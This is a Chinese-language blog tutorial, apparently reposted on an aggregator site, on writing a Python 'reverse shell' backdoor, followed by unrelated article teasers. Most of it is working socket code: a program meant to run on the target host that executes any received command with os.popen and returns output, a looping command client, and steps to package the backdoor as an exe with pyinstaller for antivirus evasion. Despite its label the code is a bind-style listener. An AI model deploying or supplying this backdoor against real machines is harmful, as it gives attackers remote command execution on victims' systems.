Python 渗透测试:反弹 shell (反弹 后门 || 程序免杀)

news2024/9/20 20:27:33

什么叫 反弹 shell

反弹 shell (Reverse Shell) 是一种常见的渗透测试技术,它指的是受害者主机主动连接攻击者的主机,从而让攻击者获得对受害者主机的控制权。在一个典型的反弹 shell 攻击中,攻击者会在自己的主机上监听一个特定的端口,然后诱使目标主机主动连接到这个端口。当目标主机与攻击者的主机建立连接后,攻击者就可以通过这个连接获得目标主机的 shell 访问权限,从而进行进一步的渗透和控制。


目录:

什么叫 反弹 shell

反弹 shell 的工作原理如下:

反弹 shell 编写:

(1)基本知识:

客户端(后执行):

服务端(先运行服务端):

(2)执行命令,发送和接收命令.

客户端(后执行):

服务端(先运行服务端):

(3)实战 执行命令,发送和接收命令.

客户端(后执行):

服务端(把这个 Python 程序 拿到服务端执行):

(4)实战 执行命令,发送多条命令去服务端执行并返回执行后的结果.

客户端(后执行):

服务端(把这个 Python 程序 拿到服务端执行):

(5)如果 服务端没有 Python 环境,则需要打包为 exe 程序.(加做免杀)

服务端(把这个程序 拿到服务端执行):

客户端(后执行):


基础知识:

Python 的 socket 网络通讯图.(有涉及到通信都涉及到socket.)


反弹 shell 的工作原理如下:

(1)攻击者在自己的主机上监听一个特定的端口,等待目标主机的连接.

(2)攻击者在目标主机上执行一段代码,让目标主机主动连接到攻击者的主机.

(3)当连接建立后,攻击者就可以通过这个连接获得目标主机的 shell 访问权限.

反弹 shell 编写:

(1)基本知识:

客户端(后执行):
import socket 

# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果

s=socket.socket()                   # 建立 socket 
s.connect(("127.0.0.1",999))        # 连接
#cmd=input("请输入要执行的命令:")
s.send("ok".encode())               # 发送 .encode() 是编码的意思(发送比特流数据)
服务端(先运行服务端):
import socket

# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去

s=socket.socket()                 # 建立 socket
s.bind(("0.0.0.0",999))           # 绑定 当前地址
s.listen(5)                       # 监听:最多 5 个终端
sss,add=s.accept()                # 被动接受客户端的连接,等待连接的到来.
data=sss.recv(1024).decode()      # 接收数据, .decode 解码比特流数据.
print(data)                       # 接收数据,然后打印出来.


(2)执行命令,发送和接收命令.

客户端(后执行):
import socket 

# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果

s=socket.socket()                   # 建立 socket 
s.connect(("127.0.0.1",999))        # 连接
cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.
s.send(cmd.encode())                # cmd 是执行的命令
data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.
print(data)                         # 再把数据打印
服务端(先运行服务端):
import socket,os

# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去

s=socket.socket()                   # 建立 socket
s.bind(("0.0.0.0",999))             # 绑定 当前地址
s.listen(5)                         # 监听:最多 5 个终端
sss,add=s.accept()                  # 被动接受客户端的连接,等待连接的到来.
data=sss.recv(1024).decode()        # 接收数据, .decode 解码比特流数据.
s=os.popen(data).read()             # popen() 去执行这个结果,read()用来读取这个格式
sss.send(s.encode())                # send()把结果发送到客户端,encode()把发送数据要进行编码


(3)实战 执行命令,发送和接收命令.

客户端(后执行):
import socket 

# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果

s=socket.socket()                   # 建立 socket 
s.connect(("172.16.10.19",999))     # 连接( IP地址 写服务端的 IP地址 )
cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.
s.send(cmd.encode())                # cmd 是执行的命令
data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.
print(data)                         # 再把数据打印
服务端(把这个 Python 程序 拿到服务端执行):
import socket,os

# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去

s=socket.socket()                   # 建立 socket
s.bind(("0.0.0.0",999))             # 绑定 当前地址
s.listen(5)                         # 监听:最多 5 个终端
sss,add=s.accept()                  # 被动接受客户端的连接,等待连接的到来.
data=sss.recv(1024).decode()        # 接收数据, .decode 解码比特流数据.
s=os.popen(data).read()             # popen() 去执行这个结果,read()用来读取这个格式
sss.send(s.encode())                # send()把结果发送到客户端,encode()把发送数据要进行编码


(4)实战 执行命令,发送多条命令去服务端执行并返回执行后的结果.

客户端(后执行):
import socket 

# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果

ip=input("请输入服务端的 IP 地址:")

s=socket.socket()                   # 建立 socket 
s.connect((ip,999))                 # 连接
while True:                             # 写个循环,让他为真(他就可以一直输入命令)
    cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.
    s.send(cmd.encode())                # cmd 是执行的命令
    data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.
    print(data)                         # 再把数据打印

s.close()                               # 不为真的就关闭.(不执行就关闭)
服务端(把这个 Python 程序 拿到服务端执行):
import socket,os

# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去

s=socket.socket()                   # 建立 socket
s.bind(("0.0.0.0",999))             # 绑定 当前地址
s.listen(5)                         # 监听:最多 5 个终端
while True:                         # 写个循环,让他为真(他就可以一直执行命令和返回命令)
    sss,addr=s.accept()                  # 被动接受客户端的连接,等待连接的到来.
    while True:                         # 如果这里不加循环,上面的结果执行一次后,连接就会关闭。所以要让他一直保持开的状态.(为真 )
        data=sss.recv(1024).decode()        # 接收数据, .decode 解码比特流数据.
        s=os.popen(data).read()             # popen() 去执行这个结果,read()用来读取这个格式
        sss.send(s.encode())                # send()把结果发送到客户端,encode()把发送数据要进行编码

s.close()                           #  # 不为真的就关闭.(不执行就关闭)

(5)如果 服务端没有 Python 环境,则需要打包为 exe 程序.(加做免杀)

1.py 就是服务端代码:

pip install pyinstaller            // 下载 pyinstaller 

pyinstaller -F 1.py                // 1.py是要打包的exe文件,

!!!记得打包成功后 exe 文件在当前目录的 dist 下.

 

服务端(把这个程序 拿到服务端执行):


客户端(后执行):
import socket 

# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果

ip=input("请输入服务端的 IP 地址:")

s=socket.socket()                   # 建立 socket 
s.connect((ip,999))                 # 连接
while True:                             # 写个循环,让他为真(他就可以一直输入命令)
    cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.
    s.send(cmd.encode())                # cmd 是执行的命令
    data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.
    print(data)                         # 再把数据打印

s.close()                               # 不为真的就关闭.(不执行就关闭)

   

   

  

学习链接:第158天:安全开发-Python-Socket编程&反弹Shell&分离免杀&端口探针&域名爆破_哔哩哔哩_bilibili

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1680411.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Cadence 16.6 绘制PCB封装时总是卡死的解决方法

Cadence 16.6 绘制PCB封装时总是卡死的解决方法 在用Cadence 16.6 PCB Editor绘制PCB封装时候,绘制一步卡死一步,不知道怎么回事儿,在咨询公司IT后,发现是WIN系统自带输入法的某些热键与PCB Editor有冲突,导致卡死。 …

网络地址转换(nat,easy ip,nat server)资源上传

实验概述 由内到外 nat,easy ip,转换的是源ip nat server 由外到内,转换的是目的IP 实验拓扑 结果验证 nat实验得到结果 1.ar1到ar3没有路由也可以访问 2.ar3配置telent后ar1也可以通过telnet远程配置 esay ip 如果ar2 g0/0/1接口ip非固…

Qwen 开源标杆

Qwen的博客 在线体验Qwen开源版本、非常丝滑 不算量化、已经开源的Qwen1.5 版本有9个: 0.5B、1.8B、4B、7B、14B、32B、72B、110B、MoE-A2.7B 闭源已经发展到 Qwen-Max-0428、网页端从2.1升级到2.5 Qwen API详情 一些记录: 1、Qwen1.5 110B&#x…

汇舟问卷:5年专业经验,海外渠道查无需烦恼!

大家好,我是汇舟问卷,拥有五年的行业经验,专注于海外问卷渠道查。 在海外问卷渠道查领域,我们拥有专业的知识和经验。无需为购买大量海外邮箱而烦恼,更无需担忧账号被封禁的风险。我们提供全天候24小时的服务&#xf…

通过视频生成实现基于物理的3D对象交互——PhysDreamer

随着虚拟现实(VR)和增强现实(AR)技术的飞速发展,用户对于虚拟体验的真实性提出了更高的要求。在这样的背景下,PhysDreamer应运而生,它是一项创新的技术,能够为静态3D对象赋予逼真的物理交互动态,极大地丰富了虚拟环境的…

Windows内核函数 - ASCII字符串和宽字符串

本章介绍了Windows内核中字符串处理函数、文件读写函数、注册表读写函数。这些函数是DDK提供的运行时函数,他们比标准C语言的运行时函数功能更丰富。普通的C语言运行时库是不能在内核模式下使用的,必须使用DDK提供的运行时函数。 和应用程序一样&#xf…

四川景源畅信:如何更好的为抖音小店做引流?

在数字化营销的浪潮中,抖音小店作为新兴的电商形态,正以其独特的社交属性和流量优势吸引着众多商家的目光。如何为抖音小店引流,成为许多店主心中的疑问。本文将深入探讨有效提升店铺流量的策略,助你在抖音平台上快速崛起。 一、内…

云飞云共享云桌面如何降低电脑投入成本?

云飞云共享云桌面作为一种创新的云计算解决方案,以其独特的优势在业界赢得了众多认可。其中,它极大地降低了电脑投入成本,为企业和个人用户带来了实实在在的经济效益。那么,云飞云共享云桌面是如何实现这一点的呢? 设…

pytest教程-46-钩子函数-pytest_sessionstart

领取资料,咨询答疑,请➕wei: June__Go 上一小节我们学习了pytest_report_testitemFinished钩子函数的使用方法,本小节我们讲解一下pytest_sessionstart钩子函数的使用方法。 pytest_sessionstart 是 Pytest 提供的一个钩子函数&#xff0c…

MaxKB创建本地知识库

上节已经可以通过MaxKB创建简单的问答系统了,这节开始做自己的知识库,实际上就是把一些本地文件上传到大模型中,让大模型学会这些文件内容,你在问他问题的时候可以通过此文件的内容来回答你,尤其是在针对特定场景或者特…

第9章.Keil5-MDK软件简介

目录 0. 《STM32单片机自学教程》专栏 9.1 主界面 9.2 文本格式编辑 9.3 代码提示&语法检测&代码模版 9.4 其他小技巧 9.4.1 TAB 键的妙用 9.4.2 快速定位函数/变量被定义的地方 9.4.3 快速注释与快速消注释 9.4.4 快速打开头文件 9.4.5 查找替换…

C++基础——继承(下)

一、继承与静态成员 基类定义了static 静态成员,则整个继承体系里面只有一个这样的成员。无论派生出多少个子 类,都只有一个 static 成员实例 。 class person { public:person(const char* name "lisi"):_name(name){} public:string _name;…

【网站项目】SpringBoot796水产养殖系统

🙊作者简介:拥有多年开发工作经验,分享技术代码帮助学生学习,独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。🌹赠送计算机毕业设计600个选题excel文件,帮助大学选题。赠送开题报告模板&#xff…

结合多模态 AI 谷歌展示 AR 眼镜原型机;Meta 被曝开发带摄像头的 AI 耳机丨 RTE 开发者日报 Vol.204

开发者朋友们大家好: 这里是 「RTE 开发者日报」,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real Time Engagement) 领域内「有话题的新闻」、「有态度的观点」、「有意思的数据」、「有思考的文章」、「…

数据可视化的艺术:使用Matplotlib和Seaborn揭示数据故事

引言 数据可视化是数据分析中的关键一环,它帮助我们理解数据模式、趋势和异常。在Python中,Matplotlib和Seaborn是两个流行的数据可视化库,它们提供了丰富的图表和图形选项,使数据的可视化变得简单而强大。 Matplotlib&#xff…

16.ABA问题

文章目录 ABA问题1.什么是ABA问题?2.ABA问题解决方案2.1.使用AtomicStampedReference解决ABA问题2.2.使用AtomicMarkableReference解决ABA问题 ABA问题 因为CAS操作的原子性能高,在JUC中广泛被应用,但是如果使用的不合理,CAS操作就…

创新方便的在线评审软件——原理图设计的利器

概述 在当今数字化时代,原理图设计已成为许多领域中不可或缺的一环。然而,对于设计师们来说,如何高效地进行评审却是一个挑战。 传统的评审方式往往需要多人齐聚一堂,耗时耗力。设计师们需要亲自填写评审意见,这不仅…

表现层设计模式_1.MVC模式

1.MVC模式三个核心模块 MVC是一种目前广泛流行的软件设计模式。近年来,随着Java EE的成熟,MVC成为了Java EE平台上推荐的一种设计模式。MVC强制性地把一个应用的输入、处理、输出流程按照视图、控制、模型的方式进行分离,形成了控制器…

算法学习(7)-树

目录 开启“树”之旅 二叉树 堆--优先队列 并查集 开启“树”之旅 是不是很像一棵倒挂的树?也就是说它是根朝上, 而叶子朝下的。不像?哈哈,来看看下面的图你就会觉得像啦。 你可能会间: 树和图有什么区别&#xff…

Hive的排序

order by 全局排序,因此只有一个reducer,设置了多个reducer也不起作用.-- 设置reducer的个数为2 set mapred.reduce.tasks2; -- 查询 select * from user_install_status_limit order by uptime limit 10;order by 在hive.mapred.mode strict 模式下,必须指定 limit,否则执行…